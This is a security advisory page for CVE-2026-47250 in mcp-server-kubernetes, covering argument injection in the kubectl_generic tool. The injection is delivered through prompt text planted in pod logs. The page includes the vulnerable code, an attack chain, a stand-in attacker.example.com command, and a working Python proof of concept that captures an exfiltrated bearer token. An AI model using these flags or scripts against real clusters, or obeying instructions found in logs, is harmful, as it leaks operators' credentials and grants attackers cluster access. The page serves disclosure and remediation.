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mcp-server-kubernetes CVE-2026-47250

| EUVDEUVD-2026-36287 MEDIUM
Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') (CWE-88)
2026-06-05 https://github.com/Flux159/mcp-server-kubernetes GHSA-6mx4-4h42-r8vh
6.1
CVSS 3.1 · Vendor: https://github.com/Flux159/mcp-server-kubernetes
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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Attacker plants prompt injection payload in pod log output
  2. Delivery
    Privileged operator triggers AI agent log-read via MCP server
  3. Exploit
    AI agent parses injected instruction from log content
  4. Install
    AI agent calls kubectl_generic with --server and --insecure-skip-tls-verify flags
  5. C2
    kubectl forwards Authorization: Bearer token to attacker HTTPS endpoint
  6. Execute
    Attacker replays captured token against real Kubernetes API
  7. Impact
    Attacker gains full RBAC access of operator's service account

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Argument sanitization
Exploitation Conditions

Exploitation requires mcp-server-kubernetes version 3.6.2 or earlier with the kubectl_generic tool enabled, and an AI agent must be configured to use the MCP server for Kubernetes operations. The attacker must have existing limited access to the Kubernetes cluster or codebase sufficient to write to a pod's log output - for example, a developer with pod-deployment permissions. A privileged operator must then actively use the MCP server AI agent to read logs from a namespace or pod under the attacker's partial control, and the AI agent must follow the injected log instruction without filtering. The attacker must also operate an HTTPS server with a self-signed or valid TLS certificate to receive the forwarded bearer token; plain HTTP will not work because kubectl suppresses the Authorization header over non-TLS connections. Exploitation is meaningfully limited by: (1) required user interaction - an operator must trigger the log-read action (UI:R); (2) high attack complexity - multi-step pre-positioning including log payload planting and capture server operation (AC:H); (3) AI agent behavior dependency - exploitation succeeds only if the agent follows the injected instruction, which depends on agent prompt design and guardrails; (4) attacker's pre-existing limited cluster access as a prerequisite to plant the payload.

Impact

CVSS 6.1 Medium (AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N) encodes several important signals: the network attack vector (AV:N) and zero required privileges (PR:N) indicate the attacker needs no MCP server authentication, but high attack complexity (AC:H) and required user interaction (UI:R) substantially constrain exploitability. The AC:H reflects the multi-step pre-positioning requirement: the attacker must have existing limited cluster access to plant a log payload and must operate an HTTPS capture server. The UI:R reflects that a privileged operator must actively trigger a log-read action through the MCP server. The scope change (S:C) is significant - the impacted resource is the real Kubernetes cluster, which lies outside the MCP server's security boundary. EPSS data was not provided in the input and exploitation probability beyond the PoC cannot be quantified from available data. No CISA KEV listing is present. However, a fully confirmed public PoC exists, and the confidentiality impact is high (C:H) - the exfiltrated service account token typically carries broadly scoped RBAC permissions in cluster management deployments. Real-world priority is elevated beyond the CVSS 6.1 score because the attack is specifically designed for AI-augmented Kubernetes operator workflows, an increasingly common pattern, and because PoC availability lowers the bar for motivated attackers with existing cluster footholds.

Exploit ScenarioDerived

An attacker with pod-deployment permissions but not cluster-admin credentials writes a single structured JSON line to their application's stdout - a prompt injection payload instructing the AI agent to call kubectl_generic with --server=https://attacker.example.com and --insecure-skip-tls-verify=true. When an operator with a privileged kubeconfig uses the MCP server to retrieve those pod logs, the AI agent (confirmed with Claude Haiku in the PoC) follows the injected instruction and calls kubectl_generic with the malicious flags, causing kubectl to forward the operator's Authorization: Bearer token to the attacker's HTTPS endpoint. The attacker replays the captured token directly against the real Kubernetes API server, gaining full RBAC access equivalent to the operator's service account with no further interaction required. A public PoC exists and was confirmed end-to-end on a live kind cluster.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

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AnalysisAIv1 – Jun 05, 2026

Argument injection in the kubectl_generic tool of mcp-server-kubernetes (npm, ≤ 3.6.2) enables Kubernetes bearer token exfiltration through indirect prompt injection, allowing privilege escalation to the operator's full RBAC permissions. An attacker with limited cluster access plants a crafted JSON payload in pod log output; when an AI agent using the MCP server reads those logs and follows the injected instruction, kubectl_generic calls kubectl with attacker-controlled --server and --insecure-skip-tls-verify flags, forwarding the operator's kubeconfig bearer token to an attacker-controlled HTTPS endpoint. A fully working public PoC exists confirmed end-to-end on a live kind cluster using Claude Haiku; the fix is available in version 3.7.0. No active exploitation per CISA KEV is confirmed at time of analysis.

RemediationAI

The primary fix is to upgrade mcp-server-kubernetes to version 3.7.0 or later, which introduces a denylist for specific dangerous flag combinations in the kubectl_generic tool; the release is available at https://github.com/Flux159/mcp-server-kubernetes/releases/tag/v3.7.0. Until the upgrade can be applied, operators should disable or remove the kubectl_generic tool from the MCP server configuration entirely, as it is the sole vulnerable code path - this eliminates the attack surface at the cost of losing generic kubectl command functionality. As a secondary compensating control, apply Kubernetes RBAC least-privilege to the service account tokens embedded in kubeconfigs used by the MCP server, restricting permissions to only what is operationally required, thereby limiting the blast radius if a token is exfiltrated. Operators using AI agents over this MCP server should also evaluate prompt injection defenses and output sanitization on log content before it is passed to the agent, reducing susceptibility to the indirect prompt injection delivery mechanism. Note that upgrading to 3.7.0 applies a denylist rather than an allowlist; security teams should verify whether the denylist implementation comprehensively covers all credential-forwarding flag combinations beyond --server and --insecure-skip-tls-verify.

Affected VersionsENISA

mcp-server-kubernetes < 3.7.0

Affected Packages

npm mcp-server-kubernetes fix: 3.7.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The affected package is pkg:npm/mcp-server-kubernetes versions ≤ 3.6.2. The vulnerable surface is the kubectl_generic TypeScript tool at src/tools/kubectl-generic.ts (lines 103-118), where a user-supplied flags object and args array are iterated and pushed directly into a kubectl command array via execFileSync with no allowlist or denylist - the root cause is CWE-88 (Argument Injection or Modification). This permits injection of any kubectl flag, including --server (redirects API calls to an arbitrary host) and --insecure-skip-tls-verify (bypasses TLS validation, enabling use of a self-signed attacker certificate). A kubectl security property is central to the attack: kubectl suppresses Authorization: Bearer headers over plain HTTP to prevent cleartext leakage, but sends them over HTTPS even to untrusted endpoints when TLS verification is disabled. Consequently, both flags together are specifically required to trigger credential forwarding. The delivery mechanism is indirect prompt injection: a structured payload embedded in pod log output is interpreted by an AI agent (e.g., Claude Haiku via Anthropic API) that then autonomously calls kubectl_generic with the malicious flags.

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Severity by source

Vendor (https://github.com/Flux159/mcp-server-kubernetes) PRIMARY 6.1 MEDIUM
AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N

Primary rating from Vendor (https://github.com/Flux159/mcp-server-kubernetes) · only source for this CVE.

CVSS VectorVendor: https://github.com/Flux159/mcp-server-kubernetes

Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

DescriptionCVE.org

Summary

The kubectl_generic tool in mcp-server-kubernetes passes user-supplied flags directly to kubectl without any allowlist, enabling a privilege escalation attack within Kubernetes environments. An attacker who already has limited cluster or codebase access, for example, a developer with pod-deployment permissions but not cluster-admin credentials, can plant a single structured JSON line in an application's log output. When an operator with a privileged kubeconfig uses the MCP server to read those logs and their AI agent follows the injected instruction, kubectl_generic is called with --server=https://attacker.example.com and --insecure-skip-tls-verify=true. kubectl sends all API requests, including the Authorization: Bearer <token> header from the operator's kubeconfig to the attacker's endpoint. The captured token can then be replayed directly against the real Kubernetes API server, granting the attacker the full RBAC permissions of the operator's service account.

The token exfiltration mechanism was confirmed end-to-end with no cluster required. The full attack chain including indirect prompt injection via real pod logs was additionally confirmed using a live kind cluster and Claude Haiku (Anthropic API) as the agent.

Details

Vulnerable code

src/tools/kubectl-generic.ts, lines 103-118:

typescript
if (input.flags) {
  for (const [key, value] of Object.entries(input.flags)) {
    if (value === true) {
      cmdArgs.push(`--${key}`);
    } else if (value !== false && value !== null && value !== undefined) {
      cmdArgs.push(`--${key}=${value}`);   // ← no allowlist; any kubectl flag accepted
    }
  }
}

if (input.args && input.args.length > 0) {
  cmdArgs.push(...input.args);             // ← also unconstrained
}

Both the flags object and the args array are passed verbatim to execFileSync("kubectl", cmdArgs).

Why two flags are needed

kubectl deliberately suppresses Authorization: Bearer headers over plain HTTP connections (a safety feature against cleartext leakage). The attack therefore requires two flags together:

FlagPurpose
--server=https://attacker.comRedirects kubectl API calls to attacker's endpoint
--insecure-skip-tls-verify=trueAllows attacker's self-signed cert; triggers credential sending

Both are standard kubectl debugging flags used when connecting to clusters with self-signed certificates, making the injection payload look plausible.

PoC

Step 1 - Static verification

bash
# Confirm the flag loop has no allowlist:
grep -A 8 "for.*Object.entries.*flags" src/tools/kubectl-generic.ts

Expected output shows cmdArgs.push(--${key}=${value}) with no allowlist check.

Step 2 - kubectl behaviour test (confirms HTTPS required)

bash
# Start a minimal HTTPS listener with a self-signed cert:
openssl req -x509 -newkey rsa:2048 -nodes -keyout /tmp/k.pem -out /tmp/c.pem \
  -subj "/CN=test" -days 1 2>/dev/null

python3 - <<'EOF'
import ssl, threading, json
from http.server import BaseHTTPRequestHandler, HTTPServer

class H(BaseHTTPRequestHandler):
    def log_message(self, *a): pass
    def do_GET(self):
        print(f"Authorization: {self.headers.get('authorization','<none>')}")
        self.send_response(401); self.end_headers()

srv = HTTPServer(("127.0.0.1", 19001), H)
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ctx.load_cert_chain("/tmp/c.pem", "/tmp/k.pem")
srv.socket = ctx.wrap_socket(srv.socket, server_side=True)
t = __import__("threading").Thread(target=srv.serve_forever, daemon=True); t.start()

import subprocess, time; time.sleep(0.3)
subprocess.run([
    "kubectl", "get", "pods",
    "--server=https://127.0.0.1:19001",
    "--token=MY-TEST-TOKEN-DOES-THIS-ARRIVE",
    "--insecure-skip-tls-verify=true"
], capture_output=True)
time.sleep(0.3)
EOF

Expected output:

Authorization: Bearer MY-TEST-TOKEN-DOES-THIS-ARRIVE

This confirms: kubectl sends the bearer token to any HTTPS endpoint when both flags are present.

Step 3 - Token exfiltration via MCP tool call

Prerequisites: Node.js 18+, Python 3.10+, openssl in PATH.

bash
git clone https://github.com/Flux159/mcp-server-kubernetes
cd mcp-server-kubernetes
npm install && npm run build

Copy and run the following self-contained script from inside the repository:

python
#!/usr/bin/env python3
"""
PoC: kubectl_generic flag injection → bearer token exfiltration.
Run from inside the mcp-server-kubernetes repository after `npm run build`.
"""
import json, os, ssl, subprocess, sys, tempfile, threading, time
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer

KNOWN_TOKEN  = "EXFIL-CONFIRM-THIS-TOKEN-12345"
ATTACKER_PORT = 19001
captured = []
# ── Attacker HTTPS server ───────────────────────────────────────────
class Attacker(BaseHTTPRequestHandler):
    def log_message(self, *_): pass
    def _handle(self):
        auth = self.headers.get("authorization", "")
        if auth: captured.append(auth); print(f"  CAPTURED: {auth}", flush=True)
        body = b'{"code":401}'; self.send_response(401)
        self.send_header("Content-Length", str(len(body))); self.end_headers()
        self.wfile.write(body)
    def do_GET(self): self._handle()
    def do_POST(self): self._handle()

tmpdir = tempfile.mkdtemp()
cert, key = f"{tmpdir}/c.pem", f"{tmpdir}/k.pem"
subprocess.run(["openssl","req","-x509","-newkey","rsa:2048","-nodes",
    "-keyout",key,"-out",cert,"-subj","/CN=attacker","-days","1"],
    capture_output=True, check=True)
srv = ThreadingHTTPServer(("127.0.0.1", ATTACKER_PORT), Attacker)
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER); ctx.load_cert_chain(cert, key)
srv.socket = ctx.wrap_socket(srv.socket, server_side=True)
threading.Thread(target=srv.serve_forever, daemon=True).start()
# ── Fake kubeconfig with known token ──────────────────────────────
kubeconfig = f"""apiVersion: v1
kind: Config
clusters:
- cluster:
    server: https://fake-cluster.internal:6443
    insecure-skip-tls-verify: true
  name: poc
contexts:
- context:
    cluster: poc
    user: poc-user
  name: poc
current-context: poc
users:
- name: poc-user
  user:
    token: {KNOWN_TOKEN}
"""
# ── Start mcp-server-kubernetes ────────────────────────────────────
proc = subprocess.Popen(
    ["node", "dist/index.js"],
    stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
    env={**os.environ, "KUBECONFIG_YAML": kubeconfig}
)
time.sleep(2)
if proc.poll() is not None:
    print("Server failed to start:", proc.stderr.read().decode()[:300]); sys.exit(1)

def send(msg):
    proc.stdin.write((json.dumps(msg)+"\n").encode()); proc.stdin.flush()

def recv(timeout=15):
    import time as _t; deadline = _t.time()+timeout
    while _t.time() < deadline:
        line = proc.stdout.readline()
        if line:
            try: return json.loads(line)
            except: pass
        time.sleep(0.05)
# MCP handshake
send({"jsonrpc":"2.0","id":1,"method":"initialize",
      "params":{"protocolVersion":"2024-11-05","capabilities":{},
                "clientInfo":{"name":"poc","version":"0"}}})
recv()
send({"jsonrpc":"2.0","method":"notifications/initialized","params":{}})
time.sleep(0.3)
# ── THE ATTACK CALL ────────────────────────────────────────────────
print(f"\nCalling kubectl_generic with --server=https://127.0.0.1:{ATTACKER_PORT}")
print("kubectl will send Authorization: Bearer to the attacker HTTPS server\n")

send({"jsonrpc":"2.0","id":2,"method":"tools/call",
      "params":{"name":"kubectl_generic",
                "arguments":{"command":"get","resourceType":"pods",
                             "flags":{"server":f"https://127.0.0.1:{ATTACKER_PORT}",
                                      "insecure-skip-tls-verify":"true"}}}})
recv(timeout=20)
time.sleep(1)
proc.terminate(); srv.shutdown()
# ── Result ─────────────────────────────────────────────────────────
print()
if any(KNOWN_TOKEN in c for c in captured):
    print("PASSED: bearer token exfiltrated via kubectl_generic flag injection")
    print(f"  Injected token: {KNOWN_TOKEN}")
    print(f"  Captured:       {captured[0]}")
else:
    print("NOT CONFIRMED - see output above")
    sys.exit(1)

Expected output:

Calling kubectl_generic with --server=https://127.0.0.1:19001
kubectl will send Authorization: Bearer to the attacker HTTPS server

  CAPTURED: Bearer EXFIL-CONFIRM-THIS-TOKEN-12345

PASSED: bearer token exfiltrated via kubectl_generic flag injection
  Injected token: EXFIL-CONFIRM-THIS-TOKEN-12345
  Captured:       Bearer EXFIL-CONFIRM-THIS-TOKEN-12345

Impact

What an attacker achieves: Privilege escalation within an environment where the attacker already has limited cluster or codebase access. The Kubernetes bearer token from the operator's kubeconfig is delivered to the attacker's HTTPS server on the first kubectl API discovery request. The token grants whatever RBAC the service account holds, in a typical cluster management deployment, this is broadly scoped. The attacker replays the captured token directly against the real Kubernetes API, independent of the MCP server.

Threat Intelligence Overview

EPSS Score
0.0%
Top 90% exploitable
Threat Intel
1
1 source
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

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